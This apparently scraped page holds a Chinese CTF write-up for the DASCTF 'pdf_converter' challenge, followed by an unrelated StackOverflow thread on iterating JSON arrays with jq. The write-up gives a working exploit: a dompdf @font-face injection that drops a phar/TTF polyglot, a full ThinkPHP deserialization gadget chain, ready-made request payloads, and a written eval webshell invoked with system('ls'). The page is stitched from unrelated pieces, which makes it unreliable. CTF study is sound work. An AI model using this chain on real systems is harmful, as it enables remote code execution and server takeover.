web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战

Posted Nstar

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战相关的知识,希望对你有一定的参考价值。

原文链接:https://www.cnblogs.com/Nestar/p/17358862.html

题目内容

这道题是给源码的,是个 thinkphp 项目,可以直接看看控制器

就一个 pdf 方法,用了 dompdf 库,然后把用户传入的 content 写到 pdf 中。
既然这么明显,那就搜索 dompdf 漏洞

知识点

首先看到:https://ghostasky.github.io/2022/03/19/dompdf/
首先看到这里说,如果传入自定义的 css ,那么dompdf 会去加载自定义的 tty 字体文件

@font-face 
    font-family:\'exploitfont\';
    src:url(\'http://localhost:9001/xxxx.ttf\');
    font-weight:\'normal\';
    font-style:\'normal\';
  

然后系统会重命名 tty 文件,类似为exploitfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf 格式是 font-family_font-style_md5(src:url)
然后系统会把这个文件保存到 dompdf/dompdf/lib/fonts/font-family_font-style_md5(src:url).tty
然后这里就涉及到了,dompdf 的好几个漏洞了,其中一个是,如果你指定下载 xxx.php 文件,最终保存的也是 xxx_xxx_xxx.php 文件,那么这就是一个 shell 写入漏洞了。
但是我们这里题目考的是 thinkphp 框架,我们只能访问 public 目录!
然后看了别的大佬的 WP,发现这里还设计到一个 phar 反序列化的漏洞,我们可以第一次指定一个 phar 文件,这样这个 pahr 文件会被写入到系统里,然后第二次我们指定 phar://file_to_phar_name 这样就可以触发 phar 反序列化了。

上手试试

这里需要参考大佬的文章:https://buaq.net/go-129526.html

<?php
namespace think\\cache\\driver;
class File

    protected $options = [];
    protected $tag;

    public function __construct()
    
        $this->options[\'path\'] = \'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4=/../public/2.php\'; # 这里确定写入的文件内容 PD9waHAgQGV2YWwoJF9HRVRbc3NzXSk7Pz4= base64 解码即可。
        $this->options[\'cache_subdir\'] = false;
        $this->options[\'prefix\'] = false;
        $this->options[\'data_compress\'] = false;
        $this->tag = 111;
    



namespace think\\session\\driver;

use think\\cache\\driver\\File;

class Memcached

    protected $handler = null;

    public function __construct()
    
        $this->handler = new File();
    


namespace think\\console;

use think\\session\\driver\\Memcached;

class Output

    protected $styles = [];
    private $handle = null;

    public function __construct()
    
        $this->styles = ["getAttr"];
        $this->handle = new Memcached();
    



namespace think\\db;

use think\\console\\Output;

class Query

    protected $model;

    public function __construct()
    
        $this->model = new Output();
    


namespace think\\model;
abstract class Relation



namespace think\\model\\relation;

use think\\model\\Relation;

abstract class OneToOne extends Relation



namespace think\\model\\relation;

use think\\db\\Query;

class HasOne

    protected $query;
    protected $selfRelation;
    protected $bindAttr = [];

    public function __construct()
    
        $this->query = new Query();
        $this->selfRelation = false;
        $this->bindAttr = ["key无所谓" => "some string"];  // value 是半可控,不能出现 attr !
    


namespace think;
abstract class Model



namespace think\\model;

use think\\console\\Output;
use think\\Model;
use think\\model\\relation\\HasOne;

class Pivot extends Model

    protected $error;
    protected $append = [];
    public $parent;

    public function __construct()
    
        $this->append = [\'key\' => \'getError\'];
        $this->error = new HasOne();
        $this->parent = new Output();
    


namespace think\\process\\pipes;
abstract class Pipes



namespace think\\process\\pipes;

use think\\model\\Pivot;

class Windows extends Pipes

    private $files = [];

    public function __construct()
    
        $this->files = [new Pivot()];
    



# 内含 phpinfo();
$tty_file_bate64 = "AAEAAAAKAO+/vQADACBkdW0xAAAAAAAAAO+/vQAAAAJjbWFwAAwAYAAAAO+/vQAAACxnbHlmNXNj77+9AAAA77+9AAAAFGhlYWQH77+9UTYAAADvv70AAAA2aGhlYQDvv70D77+9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77+9AAABfAAAADhkdW0yAAAAAAAAAe+/vQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe+/ve+/vQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF++/ve+/vRZfDzzvv70ACwBAAAAAAO+/vRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO+/ve+/vQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA/Pg==";
$win = new Windows();


@unlink("exp_dompdf.phar");
$phar = new \\Phar("exp_dompdf.phar");
$phar->stopBuffering();
$phar->setStub(base64_decode($tty_file_bate64).\'<?php __HALT_COMPILER(); ?>\');
$phar->setMetadata($win);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();
$exp_base = base64_encode(file_get_contents("exp_dompdf.phar"));
$url_encode_exp_base = urlencode(urlencode($exp_base));

# 第一步
$style_str = <<<EOF
content=<style> @font-face  font-family:\'exploit\'; src:url(\'data:text/plain;base64,$url_encode_exp_base\'); font-weight:\'normal\'; font-style:\'normal\';  </style>
EOF;
echo "第一步,传入 phar 文件:\\n".$style_str;

# 第二步
$path = "data:text/plain;base64,".$exp_base;
$md5_str = md5($path);

$phar_file_path = "phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_$md5_str.ttf##";
$style_str = <<<EOF
content=<style> @font-face  font-family:\'exploit\'; src:url(\'$phar_file_path\'); font-weight:\'normal\'; font-style:\'normal\';  </style>
EOF;
echo "\\n第二步,执行 phar 文件:\\n".$style_str;


##### 然后我发现这 md5 咋跟 dompdf 系统算出来的不一样呢?????

代码的上半部分是 thinkphp 的任意文件写入反序列化的代码:详见:https://www.yuque.com/sanqiushu-dsz56/efe3vx/knbaoms65g3m1dpq
下半部分是 phar 文件和 payload 的生成

然后就是算 MD5 的哪里,就是算不对,真实服了啊
没办法只能本地的 dompdf 运行一下看看 md5 是啥了
我这里直接给出三次请求的内容吧
request 1:

content=<style> @font-face  font-family:\'exploit\'; src:url(\'data:text/plain;base64,AAEAAAAKAO%252B%252FvQADACBkdW0xAAAAAAAAAO%252B%252FvQAAAAJjbWFwAAwAYAAAAO%252B%252FvQAAACxnbHlmNXNj77%252B9AAAA77%252B9AAAAFGhlYWQH77%252B9UTYAAADvv70AAAA2aGhlYQDvv70D77%252B9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77%252B9AAABfAAAADhkdW0yAAAAAAAAAe%252B%252FvQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe%252B%252Fve%252B%252FvQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF%252B%252B%252Fve%252B%252FvRZfDzzvv70ACwBAAAAAAO%252B%252FvRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO%252B%252Fve%252B%252FvQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA%252FPjw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KRQUAAAEAAAARAAAAAQAAAAAADwUAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjM6e3M6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjQ6InBhdGgiO3M6MTI1OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOUhSVlJiYzNOelhTazdQejQ9Ly4uL3B1YmxpYy8yLnBocCI7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO2I6MDtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtpOjExMTt9fX19czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czoxMToiACoAYmluZEF0dHIiO2E6MTp7czoxMjoia2V55peg5omA6LCTIjtzOjExOiJzb21lIHN0cmluZyI7fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjM6ImtleSI7czo4OiJnZXRFcnJvciI7fXM6NjoicGFyZW50IjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czo0OiJwYXRoIjtzOjEyNToicGhwOi8vZmlsdGVyL2NvbnZlcnQuaWNvbnYudXRmLTgudXRmLTd8Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWFhYVBEOXdhSEFnUUdWMllXd29KRjlIUlZSYmMzTnpYU2s3UHo0PS8uLi9wdWJsaWMvMi5waHAiO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtiOjA7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7aToxMTE7fX19fX19CAAAAHRlc3QudHh0BAAAAMMVSmQEAAAADH5%252F2KQBAAAAAAAAdGVzdFsaHYAFdtOEpCq1Wjk9ct1aCG2dro9W7jnzV%252FbzvkuZAwAAAEdCTUI%253D\'); font-weight:\'normal\'; font-style:\'normal\';  </style>

requests2:

content=<style> @font-face  font-family:\'exploit\'; src:url(\'phar:///var/www/html/vendor/dompdf/dompdf/lib/fonts/exploit_normal_ae0d25af97028f23b0a1a340f874fa6c.ttf##\'); font-weight:\'normal\'; font-style:\'normal\';  </style>

request 3:

http://localhost:13001/2.php3c5f86b5f2ff9d35f0239a655650272a.php?sss=system(\'ls\');
这里的 webshell 密钥是代码哪里写入的 shell 里的
写入的 webshell 的位置也是代码中确定的,以前我写的是 /../2.php 导致会跳到根目录就访问不到了。
获取 flag

在 Shell 脚本中遍历 JSON 数组

【中文标题】在 Shell 脚本中遍历 JSON 数组【英文标题】:Iterating through JSON array in Shell script 【发布时间】:2016-03-01 06:07:27 【问题描述】:

我在 data.json 文件中有如下 JSON 数据

[
  "original_name":"pdf_convert","changed_name":"pdf_convert_1",
  "original_name":"video_encode","changed_name":"video_encode_1",
  "original_name":"video_transcode","changed_name":"video_transcode_1"
]

我想遍历数组并提取循环中每个元素的值。我看到了jq。我发现很难用它来迭代。我该怎么做?

【问题讨论】:

看起来jq 有一个foreach 命令,你试过吗? 老实说,我认为您会对简单的 Python 脚本更加满意。你甚至可以使用 heredoc 语法将它嵌入到你的 shell 脚本中。 你能举一个将python嵌入到shell脚本中的例子吗? 【参考方案1】:

尝试围绕这个示例构建它。 (来源:原站)

例子:

jq '[foreach .[] as $item ([[],[]]; if $item == null then [[],.[0]]     else [(.[0] + [$item]),[]] end; if $item == null then .[1] else empty end)]'

Input [1,2,3,4,null,"a","b",null]

Output [[1,2,3,4],["a","b"]]

【讨论】:

最初的问题含糊不清,但我认为foreach 对于用户想要的东西根本没有必要。【参考方案2】:

只需使用会返回数组中每个项目的过滤器。然后循环遍历结果,只需确保使用紧凑输出选项 (-c),以便将每个结果放在一行中并作为循环中的一项处理。

jq -c '.[]' input.json | while read i; do
    # do stuff with $i
done

【讨论】:

A for 循环遍历以空格分隔的单词,而不是行。 是的,你是对的,但在这种特定情况下,它本来可以,因为任何对象中都没有空格。但是思路还是一样,循环机制可能是错误的选择。 jq 输出流,因此您不会逐行或逐项进行。 如果您的输出包含空格,您需要将 IFS 设置为换行符,例如使用 Bash IFS=$'\n' 为我工作(Mac 上的 Big Sur)。这是我到目前为止得到的:echo "$res" | jq -c -r '.[]' | while read item; do val=$(jq -r '.value' &lt;&lt;&lt; "$item") echo "Value: $val" done【参考方案3】:

此线程中较早的答案建议使用 jq 的foreach,但这可能比需要的复杂得多,尤其是考虑到所述任务。具体来说,foreach(和reduce)适用于需要累积结果的某些情况。

在许多情况下(包括某些最终需要减少步骤的情况),最好使用.[]map(_)。后者只是 [.[] | 的另一种写法。 _] 所以如果你打算使用 jq,理解 .[] 只是创建一个 stream 值真的很有用。 例如,[1,2,3] | .[] 生成三个值的流。

举一个简单的 map-reduce 例子,假设你想找到一个字符串数组的最大长度。一种解决方案是[ .[] | length] | max

【讨论】:

【参考方案4】:

jq 有一个 shell 格式化选项:@sh

您可以使用以下内容将您的 json 数据格式化为 shell 参数:

cat data.json | jq '. | map([.original_name, .changed_name])' | jq @sh

输出将如下所示:

"'pdf_convert' 'pdf_convert_1'"
"'video_encode' 'video_encode_1'",
"'video_transcode' 'video_transcode_1'"

要处理每一行,我们需要做几件事:

将 bash for 循环设置为读取整行,而不是在第一个空格处停止(默认行为)。 去掉每一行的封闭双引号,这样每个值都可以作为参数传递给处理每一行的函数。

要在 bash for 循环的每次迭代中读取整行,请设置 IFS 变量,如 this answer 中所述。

为了去掉双引号,我们将使用 xargs 通过 bash shell 解释器运行它:

stripped=$(echo $original | xargs echo)

综上所述,我们有:

#!/bin/bash

function processRow() 
  original_name=$1
  changed_name=$2

  # TODO


IFS=$'\n' # Each iteration of the for loop should read until we find an end-of-line
for row in $(cat data.json | jq '. | map([.original_name, .changed_name])' | jq @sh)
do
  # Run the row through the shell interpreter to remove enclosing double-quotes
  stripped=$(echo $row | xargs echo)

  # Call our function to process the row
  # eval must be used to interpret the spaces in $stripped as separating arguments
  eval processRow $stripped
done
unset IFS # Return IFS to its original value

【讨论】:

您可以使用--raw-output-r 标志来排除封闭的双引号,而不必“剥离封闭的双引号”,将jq @sh 替换为jq -r @sh 您(目前)不需要通过第二个 jq 的 shell 管道;只需在 jq 管道中附加 | @sh 就可以了。如jq -r '. | map(blah) | @sh'【参考方案5】:

通过利用 Bash 数组的强大功能,您可以执行以下操作:

# read each item in the JSON array to an item in the Bash array
readarray -t my_array < <(jq -c '.[]' input.json)

# iterate through the Bash array
for item in "$my_array[@]"; do
  original_name=$(jq '.original_name' <<< "$item")
  changed_name=$(jq '.changed_name' <<< "$item")
  # do your stuff
done

【讨论】:

“Bash 数组的力量!⚡️” - 人太多了。 macOS 用户请注意 - 由于 Apple 由于许可而坚持使用旧版本的 bash(当前为 v3.2.57),因此这将无法“开箱即用”。您可以使用自制软件获取最新版本。您需要将较新的版本设置为默认 shell,或者将脚本设置为通过 shebang 显式使用它 很高兴知道!这一定是 macOS 如此切换到 ZSH 的原因。 如果从变量中读取:readarray -t my_array &lt; &lt;(jq -c '.[]' &lt;&lt;&lt; $input_json) 这只是开箱即用的解决方案。所有其他都是需要认真纠正才能工作的概念!【参考方案6】:

来自Iterate over json array of dates in bash (has whitespace)

items=$(echo "$JSON_Content" | jq -c -r '.[]')
for item in $items[@]; do
    echo $item
    # whatever you are trying to do ...
done

【讨论】:

为什么echo $items[1] 不显示结果? 对我不起作用(Mac Big Sur)。具有多个项目的列表只有一次循环迭代。不过,@JeffMercado 的回答确实有效。【参考方案7】:

这是我到目前为止所做的

 arr=$(echo "$array" | jq -c -r '.[]')
            for item in $arr[@]; do
               original_name=$(echo $item | jq -r '.original_name')
               changed_name=$(echo $item | jq -r '.changed_name')
              echo $original_name $changed_name
            done

【讨论】:

当访问一个key的值时,而不是uisng. original_name不带引号,应该是original_name =$(echo $item | jq -r '.original_name')吗?还有,为什么=前面有个空格?

以上是关于web: pdf_converter | DASCTF Apr.2023 X SU战队2023开局之战的主要内容,如果未能解决你的问题,请参考以下文章

SQL 排序语句

取n到m行

COMP7104 B树原理解析

怎么让access数据库按照某个字段自动排序,那个字段当然是数字类型

ctfshow web入门-命令执行

ctfshow web入门 命令执行后篇(web55-web188)